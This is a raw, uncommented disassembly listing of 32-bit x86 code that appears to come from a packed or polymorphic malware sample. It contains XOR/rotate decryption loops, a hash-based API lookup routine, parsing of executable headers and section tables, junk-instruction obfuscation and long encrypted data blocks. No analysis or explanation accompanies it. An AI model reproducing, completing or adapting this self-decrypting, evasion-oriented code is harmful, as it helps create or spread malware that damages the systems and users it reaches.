; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_59C8C6
; ---------------------------------------------------------------------------


loc_59C8BF:				; CODE XREF: sub_59C59F+329j
		xor	[esi], al
		sub	[esi], al
		ror	eax, 1
		inc	esi


loc_59C8C6:				; CODE XREF: sub_59C59F+31Bj
		cmp	esi, edi
		jb	loc_59C8BF
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		push	esi
		push	ecx
		push	ebx
		xor	ebx, ebx
		mov	esi, [edx+8]
		mov	ecx, [edx+0Ch]
		jmp	loc_59C8F9
; ---------------------------------------------------------------------------


loc_59C8E6:				; CODE XREF: sub_59C59F+35Cj
		lodsb
		cmp	al, 2Dh
		jz	loc_59C8F9
		add	al, 98h
		xor	al, 13h
		xor	bl, al
		rol	ebx, 8
		dec	ecx


loc_59C8F9:				; CODE XREF: sub_59C59F+342j
					; sub_59C59F+34Aj
		or	ecx, ecx
		jnz	loc_59C8E6
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	esi
		pop	edx
		retn	8
; ---------------------------------------------------------------------------


loc_59C90A:				; CODE XREF: sub_59C59F+2DFj
		lea	eax, [ebp+5D42A5Bh]
		mov	[ebp+5D13155h],	eax
		lea	eax, [ebp+5D42A83h]
		mov	[ebp+5D12441h],	eax
		lea	eax, [ebp+5D42AABh]
		mov	[ebp+5D108E9h],	eax
		jmp	short loc_59C938
; ---------------------------------------------------------------------------
		dd 2 dup(0)
; ---------------------------------------------------------------------------


loc_59C938:				; CODE XREF: sub_59C59F+38Fj
		jmp	loc_59C9B8
; ---------------------------------------------------------------------------
		db 60h,	52h, 0Fh
; ---------------------------------------------------------------------------
		add	[esp+32h+var_36+2], ecx
		pop	edx
		add	edx, 24h


loc_59C948:				; CODE XREF: sub_59C59F+3E0j
		mov	eax, [ebp+5D120E9h]
		lea	eax, [ebp+5D477BBh]
		mov	ecx, [eax]
		mov	ecx, [eax+1000h]
		mov	ecx, [edx]
		mov	cx, [edx-4]
		mov	[ebp+5D42B0Ch],	ecx
		cmp	dword ptr [ebp+5D11FC1h], 0
		jz	loc_59C984
		pusha
		push	0
		call	dword ptr [ebp+5D12459h]
		popa
		jmp	loc_59C948
; ---------------------------------------------------------------------------


loc_59C984:				; CODE XREF: sub_59C59F+3D0j
		mov	[edx-4], si
		ror	esi, 10h
		mov	[edx+2], si
		push	edx
		int	4		; - internal hardware -	OVERFLOW
					; Generated by INTO instruction	if OF flag is set.  If flag is not set,	INTO
					; is effectively a NOP.
		pop	edx
		mov	[ebp+5D42B08h],	eax
		mov	esi, [ebp+5D42B0Ch]
		ror	esi, 10h
		mov	[edx+2], si
		mov	esi, [ebp+5D42B0Ch]
		mov	[edx-4], si
		popa
		mov	eax, [ebp+5D42B08h]
		retn
; ---------------------------------------------------------------------------


loc_59C9B8:				; CODE XREF: sub_59C59F:loc_59C938j
		lea	edx, [ebp+5D12B35h]
		mov	[ebp+5D126ADh],	edx
		mov	[ebp+5D117A5h],	edx
		inc	dword ptr [ebp+5D117A5h]
		mov	byte ptr [ebp+5D124D9h], 53h
		push	0FCB148D8h
		push	dword ptr [ebp+5D10699h]
		lea	eax, [ebp+5D1384Ah]
		call	eax
		mov	[ebp+5D12459h],	eax
		lea	eax, [ebp+5D42802h]
		mov	[ebp+5D13101h],	eax
		jmp	short $+2
		jmp	loc_59CFFF
; ---------------------------------------------------------------------------
		jmp	loc_59CFF8
; ---------------------------------------------------------------------------
		push	5D42CF8h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D42DEAh
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D42E78h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D42F33h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D4305Ah
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		dw 2B57h
		dd 46B09B1Ch, 5C9BF235h, 7683EACDh, 90F5C0DBh, 1C433AFDh
		dd 0A3041962h, 9C1F2C48h, 0F8334AB1h, 0D3D4679Dh, 0A4B11CADh
		dd 2366DA58h, 0F4E5B8F4h, 9E6CAE84h, 6CAE847Dh,	0AE850517h
		dd 0EDA0736Ch, 6CAE84F0h, 0F68C597h, 37E87272h,	0AE84CBCCh
		dd 8551416Ch, 0DF076CAEh, 0F6452F39h, 0BF39749Dh, 791AC0ACh
		dd 0AD9A7D92h, 2BF3EBECh, 0EB451F6Ch, 0B2EEAE51h, 0B8C62D3Ch
		dd 621DCFA7h, 1E59D467h, 0B674612Ch, 4113ECADh,	5609D393h
		dd 7EBE876Fh, 8F5200F2h, 0E7C059A0h, 15E4758Ch,	0FF1CB342h
		dd 98F27EBEh, 0BEDAFBCAh, 2F7DF27Eh, 0A5D16874h, 12731AC3h
		dd 7A46FC3Eh, 49A776BBh, 0E6A2520Dh, 12D26D97h,	4D79A48h
		dd 7F288C89h, 0A6590BF2h, 2B20ECA3h, 0F5A7F850h, 0A8CA1C12h
		dd 0EEFF9563h, 409h, 0F53645BDh, 0ECCF609Eh, 0C4E77681h
		dd 3AFD90E9h, 1497AAD3h, 334802A9h, 46B69D1Eh, 649FF631h
		dd 81FBD2D5h, 0F2B3CDEEh, 0DA58BEDFh, 0A68E5966h, 53EC0A19h
		dd 0EC7F85A0h, 84958500h, 9F86CAEh, 0A14DDA1Ah,	5F86183Bh
		dd 0E8C35CA6h, 8E4778Dh, 0A844D72Dh, 0B170B707h, 9EF7304Bh
		dd 514E0B00h, 38CE5h, 3F457900h, 173EDDA4h, 41B87BA3h
		dd 0CE2B7A28h, 7B29B3B3h, 962A2E6Bh, 2FF16CADh,	0A8C339F8h
		dd 1E2F4AD9h, 0CAEB9456h, 0BBD8F7B6h, 5C6CAD95h, 80FB660Eh
		dd 95D6C7CAh, 5C716CADh, 22580E23h, 171062D4h, 108BB976h
		dd 0C0ACBFC5h, 43645A0Ch, 0F8061268h, 2FDD8F67h, 8D9ADA47h
		dd 1E6E632Ah, 38446CAEh, 0B7BA4323h, 480C374Ah,	0C0CF9210h
		dd 727F3B80h, 69007BF6h, 304EE785h, 0EA95571Fh,	0CD5BBCEEh
		dd 0D4E979B8h, 3172138h, 53AF0000h, 6E88E3C4h, 84F3DADDh
		dd 9EDB32F5h, 0B8CD2883h, 0F4BB02A5h, 8B2C41BAh, 0E4C754A0h
		dd 0C0DB7289h, 3BFC8FF5h, 0CCC9C485h, 4B66DA57h, 3F45909Ch
		dd 9FE5402Ch, 88918804h, 0C0F618FEh, 75836E31h,	0D7EAEBDAh
		dd 3F6D6CADh, 81FD5804h, 957A31EAh, 3F6CADD8h, 6CADE91Ah
		dd 27DFE410h, 3C88BBE9h, 7D3834DAh, 6CAE3C5Ch, 46D9270Ah
		dd 52A1FF9Dh, 8C5E1627h, 17C558A1h, 4D374F42h, 82D0727Fh
		dd 79A7F909h, 0F5F498E9h, 289h,	75B6C53Dh, 6C4FE01Eh, 4467F601h
		dd 0BA7D1069h, 94172A53h, 0B3C88229h, 0C6361D9Eh, 0E41F76B1h
		dd 17B5255h, 72334D6Eh,	0DA573E5Fh, 260ED966h, 800F3F45h
		dd 6CAE8493h, 0A1B06634h, 7C273842h, 0DC6F9570h, 0D80F7F10h
		dd 246BE319h, 6CAE8537h, 0DBDC82D0h, 4E0ADCF2h,	213D951h
		dd 0E55D0000h, 6CAE84F4h, 0A7AAC33Eh, 631C2D48h, 2A205BB2h
		dd 0AE847667h, 3546BC6Ch, 7D2FA339h, 3FBAA74Fh,	2191462Eh
		dd 0A5B4CF06h, 7DF87702h, 0B95A00ECh, 4E0ADEF0h, 51DB51h
		dd 2C5F0000h, 0D86B7E74h, 548090A2h, 27D86540h,	7F1C1CDCh
		dd 0EEE9BB72h, 0E979D90Eh, 0CE8CDD77h, 76000001h, 53BA7D0Ah
		dd 0BA910A25h, 0A289223Bh, 94FF3855h, 62D9D26Fh, 65F80D3Dh
		dd 7C0B6B42h, 102950BBh, 3546BC97h, 903FCEF2h, 66DA5583h
		dd 1059D304h, 12038E51h, 446CAE85h, 0AE854C49h,	3999CB6Ch
		dd 12B1486Bh, 6CAE8509h, 3510DC8Eh, 117CBFCEh, 0ED9C50EBh
		dd 7A6114F1h, 0D28D3F2Fh, 0EE096C22h, 3D8F91D7h, 0D38174B9h
		dd 58A38A2Dh, 0C83D30C1h, 0C2298AB5h, 62CFA7B8h, 6C017A12h
		dd 82437DBEh, 0AD930E0Fh, 16DB896Ch, 254A7BECh,	0A35C3F1Eh
		dd 8215CB9h, 79752DAFh,	0A36D8875h, 2E3FBE58h, 0BFF67478h
		dd 0A5472F42h, 587934F7h, 0E6CADABh, 0AB43507Fh, 0FF9E6CADh
		dd 0BD1C1D8Ch, 705F2EA2h, 6CAE0B63h, 0DF80B6E4h, 9A6F633Dh
		dd 2FD06797h, 2CCD7558h, 0B4BB727Fh, 0B701324Fh, 0E01914E5h
		dd 6A3BA14Dh, 0F5777F10h, 0C6303FCAh, 0DD1B72B5h, 3C47A242h
		dd 98E4412Dh, 0F706E383h, 4D5E06EEh, 0ECE21833h, 620230CFh
		dd 2D3CB2EEh, 0C8A4B9C6h, 2B666112h, 784FD71Bh,	39EDEEBCh
		dd 80E3A91Fh, 0A7FDECh,	0E31F0000h, 0FE785354h,	14634A6Dh
		dd 2E4BA205h, 48BD9813h, 640BF235h, 7BBCD12Ah, 5457E410h
		dd 0B06B0279h, 0AB0C1F65h, 5C795415h, 0FB66DA55h, 3F45002Ch
		dd 9FE5402Ch, 0C76FD8Ch, 61617373h, 2052936h, 8D48FBDh
		dd 0ABBBD22Dh, 5C8C7EB9h, 0E04D40BBh, 0FBE98596h, 5BF206A8h
		dd 0C4564114h, 869BE021h, 0AD4E7CEEh, 525EE01Ah, 8E0ADA2Eh
		dd 0D312D5D5h, 3C1596A9h, 514E9CA2h, 1087h, 0F5E59B00h
		dd 3F6CAE84h, 0E671AAC5h, 10h, 84F4E54Ah, 8F626CAEh, 7C27D86Fh
		dd 5AB27506h, 2CE3CE9h,	2D000000h, 2E3D45C7h, 8EA1DB46h
		dd 69007BE6h, 0CF5C9885h, 0ACC13A27h, 0D2065C0h, 0E67B8461h
		dd 45D4230Eh, 19324CA9h, 5452B255h, 4C2815Ah, 83000000h
		dd 148704EAh, 89535C24h, 4C381E3h, 83000000h, 1C8704EBh
		dd 4895C24h, 0E3895324h, 4C381h, 0EB810000h, 4,	5C241C87h
		dd 81241C89h, 4ECh, 241C8900h, 1A70AC68h, 0E3C15B66h, 0EB814303h
		dd 2AFF594Fh, 685BD889h, 3D96h,	81242489h, 42404h, 515B0000h
		dd 8B9h, 51E98100h, 1262148h, 51C181D9h, 89262148h, 34FF5901h
		dd 0C4835B24h, 24048B04h, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 0FD4A7AE9h, 0B59703FFh, 8B496705h, 8452F3A6h, 0E6578DB9h
; ---------------------------------------------------------------------------


loc_59CFF8:				; CODE XREF: sub_59C59F+464j
		mov	eax, 5D43126h
		add	eax, ebp


loc_59CFFF:				; CODE XREF: sub_59C59F+45Fj
		mov	edx, ecx
		jmp	loc_59D057
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+5Ah+var_36]
		add	esi, [esi+3Ch]
		mov	edi, [esp+5Ah+var_32]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_59D021:				; CODE XREF: sub_59C59F+AADj
		cmp	ecx, 0
		jz	loc_59D040
		cmp	edi, [edx+0Ch]
		jg	loc_59D048
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_59D040:				; CODE XREF: sub_59C59F+A85j
					; sub_59C59F+AB3j
		mov	[esp+5Ah+var_3E], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_59D048:				; CODE XREF: sub_59C59F+A8Ej
		add	edx, 28h
		dec	ecx
		jnz	loc_59D021
		jmp	loc_59D040
; ---------------------------------------------------------------------------


loc_59D057:				; CODE XREF: sub_59C59F+A62j
		mov	edx, 9FD3Eh
		jmp	short loc_59D07E
; ---------------------------------------------------------------------------
		align 10h
		dd 7 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D07E:				; CODE XREF: sub_59C59F+ABDj
		jmp	loc_59D5C2
; ---------------------------------------------------------------------------
		jmp	loc_59D5BB
; ---------------------------------------------------------------------------
		push	5D43407h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D4348Dh
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D43624h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D436A2h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		dd 5A6B5CDh, 7CBFD02Eh,	5457E611h, 4A6D0079h, 0A4071A63h
		dd 0A3D892D9h, 0B6C62D8Eh, 0D42F06A1h, 0F10B6245h, 62235D5Eh
		dd 0DA532E2Fh, 6B7EA966h, 52E8F5D8h, 426F66DAh,	4C772532h
		dd 0B4FD19E0h, 0C2F8F279h, 0D07BBEE4h, 0AD30C41h, 9AB3C269h
		dd 3BCACFCAh, 544ECAEh,	9BC503D9h, 0F1A2DE10h, 0A13DF631h
		dd 86D14EADh, 1Fh, 84F5E59Ah, 0FA566CAEh, 0BDEF584h, 7D7282B7h
		dd 0F2F28BF6h, 1341B768h, 164198h, 0E5E30000h, 6CAE84F4h
		dd 7FFAF957h, 9A2938EEh, 7282B6C7h, 0B3991240h,	43233A45h
		dd 3047B7BAh, 85716221h, 44166CAEh, 861E309Bh, 0E998ECAEh
		dd 866A6B26h, 0BFEDECAEh, 22E30284h, 6361BAD3h,	0EBA6AB27h
		dd 0ECAE95E6h, 0ACFBBB61h, 0A24F98DFh, 0EF15F0FCh, 2A99D523h
		dd 0ECAE8A29h, 18CEFCAEh, 0A0B8649h, 8DECAE8Ah,	0F1F324DFh
		dd 87561B97h, 363E53A8h, 0F8008BB4h, 9FF27FAAh,	0AAB2A3EEh
		dd 755F27Fh, 0B7BFD02Eh, 0DE6F0735h, 0AA93800Fh, 6634F27Fh
		dd 0AB4156BDh, 126BF27Fh, 6A8A777Fh, 0C7E11DDh,	0DC6A67D9h
		dd 0E8B4CA09h, 7AB1CB7Ch, 0B5000000h, 0DA8DFD19h, 890C58D5h
		dd 752EDC6Fh, 0C4950947h, 8287DDC9h, 0D5F88B72h, 728287C8h
		dd 0EB101D4Fh, 13CC9E56h, 53E2F7A5h, 0BCC17A2Bh, 0CFF0B8A8h
		dd 0AA0D1E64h, 0A5263943h, 0E97618E9h, 0D3DD0CA0h, 42000002h
		dd 0AF862136h, 96FD3E51h, 0FED5D667h, 0E0CBEC81h, 5E25869Bh
		dd 9245911h, 203747AEh,	0C455AC87h, 0D97288E3h,	0ACE3A2DEh
		dd 66DA50AFh, 0B9B5FF28h, 29Eh,	233A45EBh, 85514643h, 56FB6CAEh
		dd 0FC6CAE85h, 6CAE84DEh, 0AE856374h, 84E8E96Ch, 6D626CAEh
		dd 2E2CAE85h, 266D7C72h, 32826945h, 18DC90C2h, 31226140h
		dd 0D6328269h, 3954A984h, 7B4B460Bh, 1C38536Bh,	903B4D4Eh
		dd 0A24223A5h, 24DBBh, 9BB0C800h, 0B0CB3500h, 48E11C77h
		dd 66FB046Fh, 78156E45h, 0E797C4BFh, 0CD28839Eh, 2A019AB1h
		dd 167DBECFh, 285853ECh, 51292A99h, 79AE66DAh, 2C3F4533h
		dd 0DED48C40h, 0B6C9840Bh, 1C4E7282h, 3445B09Bh, 609F9225h
		dd 0B6D7C4C9h, 22707282h, 8F67FA03h, 0C6F122DDh, 0C838389Ch
		dd 0BAEB0679h, 9A402C41h, 2A43B2F9h, 0E4DAB63Ah, 0AB184215h
		dd 6C884D4Ah, 0FC6CDF6h, 8878572Ah, 4AB35FA5h, 0FFAD3F37h
		dd 0D03538C9h, 9A1182BDh, 78572975h, 27B7AD6h, 9854E510h
		dd 0A9501CC2h, 5729F91Ah, 1ECC9E78h, 9D51E817h,	454819CFh
		dd 7E2B5C8Eh, 0C7965B09h, 775A1268h, 7E2B5D66h,	0E18DB3E1h
		dd 0B3CC2A7Bh, 0CC5FA580h, 0E17A80EBh, 5C9F800Dh, 0A4FC7E2Bh
		dd 0A5885B2Eh, 0B510C35Ah, 83FF8EF2h, 3F32C795h, 24C6AEC1h
		dd 7B816C7Bh, 0E71211E0h, 13CC9E56h, 4151AB82h,	908D003Ah
		dd 3783FF8Eh, 2DBFB765h, 352A777Fh, 1683FF8Fh, 1EB5443Ah
		dd 89D3C137h, 70FF82D0h, 0C6C8760Bh, 7052361Bh,	0F77A0D36h
		dd 0D239F28Dh, 1BDF97A8h, 1DB0413Dh, 8FA8684Eh,	0CECB9BC9h
		dd 8FA867C9h, 0EF24C347h, 2E5427CFh, 0CD4h, 0F4E54800h
		dd 0C26CAEA1h, 7, 9EF4E56Eh, 2C3F6CAEh,	45F50174h, 0AE854D4Eh
		dd 0EA98CA6Ch, 8F6235C4h, 0D924DF72h, 7282B6EEh, 3B363B69h
		dd 24C6AEC1h, 0A3FD717Bh, 83775A2Fh, 47853C4h, 8EBCCF29h
		dd 0A537750Dh, 69701CE3h, 0B6h,	0A9021961h, 801B3442h
		dd 0F8334AB5h, 0EEC9649Dh, 0C8E37E87h, 77C2E7Dh, 1A5AB16Ah
		dd 3843AA0Dh, 55AF8621h, 0EDFE13Ah, 0DA4E9283h,	4AE23566h
		dd 0F701742Ch, 2CD28864h, 0B797765Dh, 0EA307282h, 2D3D6A5h
		dd 767E2C93h, 1A0A6E2h,	0F6A2CB85h, 481BEE9Ch, 9A556E12h
		dd 13BEDDFFh, 7282A502h, 7E21D785h, 53C1BB97h, 88865C78h
		dd 6C69848Bh, 425ABD63h, 43E3A4EBh, 38B8A1h, 9BE70000h
		dd 0B6C02B8Ch, 0CC2B02A5h, 0E6137ABDh, 5504Bh, 0ACF34A6Dh
		dd 33F489F2h, 2C8F9CD8h, 8A3BAC1h, 6344D72Dh, 14018C5Dh
		dd 0B366DA4Fh, 3B9C864h, 0EB000000h, 3D45190Bh,	0A1DB462Eh
		dd 7BE68Eh, 5C988569h, 0C13A27CFh, 2065C0ACh, 7B84610Dh
		dd 0D4230EE6h, 324CA945h, 56B25519h, 0B850E689h, 57A28AFh
		dd 0F05E1B2Dh, 5E560550h, 0D8F741C9h, 0ACD7122Dh, 58C60109h
		dd 8704EE83h, 685C2434h, 17ABh,	50242C89h, 405E089h, 2D000000h
		dd 4, 5C240487h, 68240C89h, 5D43288h, 81242C8Bh, 4C4h
		dd 7E886800h, 24890000h, 24048324h, 0EC815904h,	4, 8F242C89h
		dd 34FF0841h, 0C4815924h, 4, 51242C8Bh,	0C181E189h, 4
		dd 4C181h
dword_59D5A8	dd 0C870000h, 0B0E95C24h, 0A7FFFD44h, 0A1907665h
					; CODE XREF: sub_59C59F+102Aj
; ---------------------------------------------------------------------------
		sub	[edx-59h], bl


loc_59D5BB:				; CODE XREF: sub_59C59F+AE4j
		mov	eax, 5D436FFh
		add	eax, ebp


loc_59D5C2:				; CODE XREF: sub_59C59F:loc_59D07Ej
		mov	ecx, eax
		call	near ptr loc_59D5D1+1
		jz	short near ptr dword_59D5A8
		and	edi, 54h
		or	esp, 6Ch


loc_59D5D1:				; CODE XREF: sub_59C59F+1025p
		or	[esi-8], ebx
sub_59C59F	endp ; sp-analysis failed

		add	esi, 752Ch
		clc
		push	1D27h
		jl	$+6
		pop	ebx
		jo	loc_59D5EF
		mov	edx, esi


loc_59D5EF:				; CODE XREF: ud2_____:0059D5E7j
					; ud2_____:0059D64Cj
		push	dword ptr [esi]
		jbe	loc_59D5FB
		mov	ax, 494Ch


loc_59D5FB:				; CODE XREF: ud2_____:0059D5F1j
		pop	ecx
		sbb	di, 0FF30h
		xor	ecx, 78193E40h
		jnz	loc_59D613
		add	eax, 10BC7AEFh


loc_59D613:				; CODE XREF: ud2_____:0059D607j
		add	ecx, 83AC23Bh
		mov	di, dx
		add	ecx, 4A89474Dh
		sub	dh, 4Ch
		mov	[esi], ecx
		jmp	loc_59D63A
; ---------------------------------------------------------------------------
		dd 7DCDF413h, 677612DDh, 7D74660h
; ---------------------------------------------------------------------------
		push	ecx
		push	esi


loc_59D63A:				; CODE XREF: ud2_____:0059D627j
		sub	esi, 6C6D81F6h
		mov	dx, 49CDh
		add	esi, 6C6D81F2h
		cmc
		dec	ebx
		jnz	loc_59D5EF
		jns	loc_59D65D
		mov	eax, 6F4CB6E7h


loc_59D65D:				; CODE XREF: ud2_____:0059D652j
		jmp	loc_59D73B
; ---------------------------------------------------------------------------
		dw 1D20h
		dd 0C12C0FBEh, 0CFDF2F82h, 54FDBEB6h, 0A436365Dh, 0D500BCECh
		dd 0D352C55Dh, 94A4D676h, 0C44100FCh, 0CB50C1AEh, 0AC325277h
		dd 0B8009CACh, 64F7F691h, 309382CDh, 2C000000h,	34000000h
		dd 94000000h, 5000000h,	1000000h, 28000000h, 200000Ah
		dd 53000000h, 69767265h, 50206563h, 206B6361h, 32h, 1Bh	dup(0)
		dd 0AE000000h
		db 15h,	0DBh, 0Dh
; ---------------------------------------------------------------------------


loc_59D73B:				; CODE XREF: ud2_____:loc_59D65Dj
		jmp	loc_59F64C
; ---------------------------------------------------------------------------
		push	5D43B0Ch
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D43C26h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D43D2Fh
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D43DC4h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D43E78h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D43F59h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D44065h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D44143h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D444D1h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D44548h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D44675h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D4498Eh
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D44D49h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D45062h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D451E3h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D45236h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D45290h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D452EFh
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D453CEh
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D45505h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D455CEh
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		dw 53AFh
		dd 6E88E3C4h, 84F3DADDh, 9EDB32F5h, 0B8CD2883h,	0F4BB02A5h
		dd 8B2C41BAh, 0E4C754A0h, 0C0DB7289h, 3BFC8FF5h, 0CCC9C485h
		dd 4B66DA4Bh, 0AE91CD9Ch, 3CE65CACh, 45E74D76h,	0B9402C3Fh
		dd 576C4F5Dh, 4B74EFD2h, 26819AE0h, 0E5F4EAA6h,	7F7B1AAEh
		dd 1AEFBD72h, 0A053EE17h, 7AD8F9C4h, 1776727Fh,	7B4C4944h
		dd 99CB727Fh, 0C20124E6h, 4B7D18ACh, 2589h, 742CAD00h
		dd 50246B7Eh, 0F7727F97h, 0CBCCC9A5h, 45727F96h, 0B0BF22C5h
		dd 230C3744h, 4B7CF88Bh, 0DD68h, 3F458C00h, 0A0E5402Ch
		dd 686EEA05h, 2FDD1723h, 17048B5Ah, 0B06CAD93h,	0CE2B31E2h
		dd 5E5613B4h, 8D6A23F0h, 17C556A0h, 0F788F25Fh,	5FF20FE2h
		dd 0DAB873A4h, 0D06CADFEh, 3F1691AAh, 0B1A9D5C5h, 0ADFF0112h
		dd 26D4866Ch, 0A0F87C70h, 68705F22h, 1E727F13h,	0A84BE613h
		dd 0EB97220h, 9C47DA23h, 5F22A0F8h, 52B52C70h, 0E8F9AB78h
		dd 9C6D0005h, 0E6F5AA66h, 924D3787h, 0BCD12A01h, 0A584DB5Bh
		dd 5F8E26E3h, 1C6Eh, 811A3149h,	0F8334CAAh, 0D0CB629Dh
		dd 0C6E17C85h, 20FB96EFh, 1F641645h, 3242A902h,	50AB8225h
		dd 6D97FE39h, 0E6A7D9D2h, 0DA49AAABh, 0B2FA2D66h, 5C2D4045h
		dd 0C758A68Dh, 4350BD2Fh, 0C46CAE85h, 0E1CCED96h, 9345089Bh
		dd 5A507837h, 5845EF2Fh, 7220D664h, 742C53B9h, 55D86B7Eh
		dd 8F5D112Ch, 9705E9D4h, 0D082727Fh, 9680911Ch,	0B80E727Fh
		dd 0F818B66Dh, 41104B7Ch, 0EF8798E2h, 0A283907Dh, 0E65E727Fh
		dd 95E8FAE7h, 0ED96C4C4h, 0E517h, 0A190B00h, 0FAA152EBh
		dd 0D7649080h, 0D79F4D1Fh, 707C116Ah, 0C215AC9h, 89AA6853h
		dd 7A806CAEh, 89CECFC2h, 1B496CAEh, 6D896475h, 0C5F425DEh
		dd 0F8060E6Eh, 2FDD8F67h, 0BE61F606h, 0F2F28DF7h, 8F227Eh
		dd 6CAE8A13h, 2130E6B4h, 7F9E7662h, 68431172h, 58A38E51h
		dd 56BF2DC1h, 727F9F45h, 2DEF90C2h, 276A7F73h, 78533DEEh
		dd 213A4469h, 7A836E73h, 21CD5E98h, 3B1295BBh, 242CAFC2h
		dd 6DE3A5C5h, 1B54A6C7h, 17630000h, 324CA700h, 48B79E19h
		dd 629FF631h, 7C81ECCFh, 307FC6E1h, 4F68057Eh, 0A8031864h
		dd 8427364Dh, 0FF3853A9h, 908D00C1h, 3766DA48h,	0FD1954E0h
		dd 358A75BCh, 9DAED49Bh, 233C46EFh, 0BFE69943h,	0F9F02B46h
		dd 457E0F6Ah, 0C68BA4DEh, 1F7B9837h, 4E1C6CAEh,	0DC879AE7h
		dd 3F45F1DBh, 9FE5402Ch, 0C0F689F3h, 69833FE7h,	0CE07DFAh
		dd 0B997A55Eh, 519934C5h, 0F6727FA9h, 0DF6E79A4h, 7FA8E3F0h
		dd 9FAEC972h, 56474A3Bh, 0F1727FA9h, 0FBC2FDA3h, 2F0E17D2h
		dd 1B565E84h, 0EA34366Ah, 514D0BC9h, 5AA50D80h,	702234DFh
		dd 22A0F87Ch, 93A9705Fh, 50DF3AB0h, 48470A27h, 3AB0944Bh
		dd 13E59ECCh, 0ABD0C03Eh, 2F32E096h, 0D5C6CD9Ch, 0DF3AB093h
		dd 0DA8AA5h, 7A21D280h,	35E71000h, 2EBCB0CBh, 0C0F67478h
		dd 265DD0E7h, 75791268h, 372DC1F7h, 48CE0FE4h, 550E3C4Ah
		dd 209BB4CEh, 2147BF2Ah, 4B8CDD77h, 6A00001Ah, 57BE790Eh
		dd 0BE951629h, 0A68D2E3Fh, 88E3C459h, 66DDDE73h, 61FC0139h
		dd 780F6F46h, 1C2D54BFh, 314AB09Bh, 943BCAF6h, 66DA4787h
		dd 455DD700h, 8C402C3Fh, 840BDED4h, 727F86C8h, 164C1D4Fh
		dd 3030C21Ch, 79106F90h, 1EC1F775h, 36B9059Dh, 3E95645Ah
		dd 7850DEF2h, 339EC795h, 40023DA5h, 2534AAE6h, 0D345026Eh
		dd 20E7445h, 0FA397EBAh, 0B6E4D48Fh, 605E3ABEh,	44673291h
		dd 0B2E04BA4h, 213A40AFh, 3A55AF86h, 54BF83C1h,	0EBF29210h
		dd 19B6h, 0C9E27981h, 20FB94E2h, 1893AAD5h, 0EA9C43Dh
		dd 6843DE27h, 679CCE9Dh, 7AFAD1CAh, 98E3CAEDh, 0B5CF2681h
		dd 0AE7F019Ah, 0DA47F2E3h, 0EA429566h, 0E4A43F45h, 148C2C75h
		dd 92660E3Ch, 9A2938B6h, 727EB926h, 6E38F3A1h, 2A20782Fh
		dd 0AEC11713h, 0F386B4C0h, 62929120h, 424319D5h, 727F5D51h
		dd 7289A4F6h, 95DD38DBh, 32785081h, 13D63D60h, 4514F93Ah
		dd 0C3FC91EEh, 965B5731h, 0CA40AF3Bh, 6A7A281Ah, 2534AAE6h
		dd 6BA26892h, 0E57047DAh, 61122F48h, 9B0CBF9Ah,	470A5820h
		dd 0C5FE93E8h, 0BAD52F02h, 5FF00A61h, 5DF6127Ch, 0B4B55F3Bh
		dd 1902h, 75B6C53Dh, 6C4FE01Eh,	4467F601h, 0BA7D1069h
		dd 94172A53h, 0B3C88229h, 0C6361D9Eh, 0E41F76B1h, 17B5255h
		dd 72334D6Eh, 0DA473E5Fh, 260ED966h, 402C3F45h,	0BDED48Ch
		dd 7F958084h, 52550772h, 0CE3C9C8h, 45567DF3h, 0C2727F96h
		dd 7B02E290h, 7F964754h, 0EC92C072h, 34470133h,	0FF82B0C9h
		dd 50BA98D0h, 0E5123F78h, 72A57AC0h, 0E48A0326h, 0B8D32D08h
		dd 520036B4h, 66225823h, 762AA219h, 3B464D76h, 187593FAh
		dd 10BF4240h, 7B650098h, 0F8816D3Fh, 3D1B2782h,	6CC19879h
		dd 0F06A7A17h, 5F530DCFh, 935C078Ah, 21FB8136h,	0BCAE7A60h
		dd 373AE818h, 0DB728964h, 0A2DC510Bh, 354FD689h, 7072D492h
		dd 0A44A606Ah, 3296A9D5h, 66A5E644h, 0EB117CBDh, 18117750h
		dd 0B458DAC2h, 1821B5h,	57E41C00h, 6CFF7954h, 415604Bh
